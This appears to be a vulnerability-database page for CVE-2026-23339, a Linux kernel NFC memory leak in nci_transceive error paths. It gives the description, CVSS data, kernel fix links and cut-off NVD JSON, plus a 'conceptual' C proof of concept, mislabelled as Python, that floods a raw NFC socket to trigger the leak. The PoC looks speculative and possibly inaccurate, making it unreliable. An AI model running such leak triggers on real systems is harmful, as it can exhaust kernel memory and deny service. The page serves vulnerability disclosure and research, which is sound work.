CVE-2026-23339

Description

In the Linux kernel, the following vulnerability has been resolved: nfc: nci: free skb on nci_transceive early error paths nci_transceive() takes ownership of the skb passed by the caller, but the -EPROTO, -EINVAL, and -EBUSY error paths return without freeing it. Due to issues clearing NCI_DATA_EXCHANGE fixed by subsequent changes the nci/nci_dev selftest hits the error path occasionally in NIPA, and kmemleak detects leaks: unreferenced object 0xff11000015ce6a40 (size 640): comm "nci_dev", pid 3954, jiffies 4295441246 hex dump (first 32 bytes): 6b 6b 6b 6b 00 a4 00 0c 02 e1 03 6b 6b 6b 6b 6b kkkk.......kkkkk 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b kkkkkkkkkkkkkkkk backtrace (crc 7c40cc2a): kmem_cache_alloc_node_noprof+0x492/0x630 __alloc_skb+0x11e/0x5f0 alloc_skb_with_frags+0xc6/0x8f0 sock_alloc_send_pskb+0x326/0x3f0 nfc_alloc_send_skb+0x94/0x1d0 rawsock_sendmsg+0x162/0x4c0 do_syscall_64+0x117/0xfc0

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for CVE-2026-23339
 * Triggering the memory leak in nci_transceive error paths.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/nfc.h>

int main(int argc, char **argv) {
    int sock;
    struct sockaddr_nfc addr;
    char buffer[256];

    // Create a raw NFC socket
    sock = socket(AF_NFC, SOCK_RAW, NFC_SOCKPROTO_RAW);
    if (sock < 0) {
        perror("socket");
        return 1;
    }

    memset(&addr, 0, sizeof(addr));
    addr.sa_family = AF_NFC;
    // Assume target index 0 for demonstration
    addr.dev_idx = 0; 
    addr.target_idx = 0;
    addr.nfc_protocol = NFC_PROTO_NFC_DEP;

    // Loop to trigger the vulnerability repeatedly
    // In a real scenario, this would interact with a driver to force -EBUSY or -EINVAL
    for (int i = 0; i < 1000; i++) {
        // Attempting to send data that might trigger error paths
        // e.g. sending invalid data or flooding when device is busy
        sendto(sock, buffer, sizeof(buffer), 0, 
               (struct sockaddr *)&addr, sizeof(addr));
        
        // If the driver returns -EPROTO, -EINVAL, or -EBUSY inside nci_transceive,
        // the skb is leaked.
    }

    close(sock);
    printf("PoC execution completed. Check kernel logs for kmemleak warnings.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23339
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23339
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23339/
[4] VulDB https://vuldb.com/cve/CVE-2026-23339
[5] https://git.kernel.org/stable/c/3245801d44a44c090acefe19a12d22d12cac45c5
[6] https://git.kernel.org/stable/c/33f6b8a96dda045789796c3bcb451c74ac158039
[7] https://git.kernel.org/stable/c/54f7f0eaafa56b5994cdb5c7967946922c2e1d22
[8] https://git.kernel.org/stable/c/6d898f943766440cf766d30364e715111c3563b5
[9] https://git.kernel.org/stable/c/7bd4b0c4779f978a6528c9b7937d2ca18e936e2c
[10] https://git.kernel.org/stable/c/9d448bbab724b94d6c561e1f314656f5b88a7cb3
[11] https://git.kernel.org/stable/c/b367cb44d919f35b07cd56feffa15e68cd9f53f9
[12] https://git.kernel.org/stable/c/dcbcccfc5195c9caaa4bb8d31f23c345f00a9e89

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23339", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-25T11:16:31.670", "lastModified": "2026-04-23T21:17:17.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfc: nci: free skb on nci_transceive early error paths\n\nnci_transceive() takes ownership of the skb passed by the caller,\nbut the -EPROTO, -EINVAL, and -EBUSY error paths return without\nfreeing it.\n\nDue to issues clearing NCI_DATA_EXCHANGE fixed by subsequent changes\nthe nci/nci_dev selftest hits the error path occasionally in NIPA,\nand kmemleak detects leaks:\n\nunreferenced object 0xff11000015ce6a40 (size 640):\n comm \"nci_dev\", pid 3954, jiffies 4295441246\n hex dump (first 32 bytes):\n 6b 6b 6b 6b 00 a4 00 0c 02 e1 03 6b 6b 6b 6b 6b kkkk.......kkkkk\n 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b kkkkkkkkkkkkkkkk\n backtrace (crc 7c40cc2a):\n kmem_cache_alloc_node_noprof+0x492/0x630\n __alloc_skb+0x11e/0x5f0\n alloc_skb_with_frags+0xc6/0x8f0\n sock_alloc_send_pskb+0x326/0x3f0\n nfc_alloc_send_skb+0x94/0x1d0\n rawsock_sendmsg+0x162/0x4c0\n do_syscall_64+0x117/0xfc0"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnfc: nci: liberar skb en las rutas de error tempranas de nci_transceive\n\nnci_transceive() toma posesión del skb pasado por el llamador,\npero las rutas de error -EPROTO, -EINVAL y -EBUSY regresan sin\nliberarlo.\n\nDebido a problemas al limpiar NCI_DATA_EXCHANGE corregidos por cambios posteriores,\nla autoprueba nci/nci_dev alcanza la ruta de error ocasionalmente en NIPA,\ny kmemleak detecta fugas:\n\nobjeto sin referencia 0xff11000015ce6a40 (tamaño 640):\n comm 'nci_dev', pid 3954, jiffies 4295441246\n volcado hexadecimal (primeros 32 bytes):\n 6b 6b 6b 6b 00 a4 00 0c 02 e1 03 6b 6b 6b 6b 6b kkkk.......kkkkk\n 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b kkkkkkkkkkkkkkkk\n backtrace (crc 7c40cc2a):\n kmem_cache_alloc_node_noprof+0x492/0x630\n __alloc_skb+0x11e/0x5f0\n alloc_skb_with_frags+0xc6/0x8f0\n sock_alloc_send_pskb+0x326/0x3f0\n nfc_alloc_send_skb+0x94/0x1d0\n rawsock_sendmsg+0x162/0x4c0\n do_syscall_64+0x117/0xfc0"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.2.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "A8136AA8-F2F0-4960-9AAF-176AC6ACEA92"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.77", "matchCriteriaId": "B3D12E00-E42D-4056-B354-BAD4903C03A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.17", "matchCriteriaId": "A5E006E4-59C7-43C1-9231-62A72219F2BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.7", "matchCriteriaId": "69245D10-0B71-485E-80C3-A64F077004D3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.2:-:*:*:*:*:*:*", "matchCriteriaId": "2BEBAC7C-43AE-4D02-A957-26F89F27E0AC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteri ... (truncated)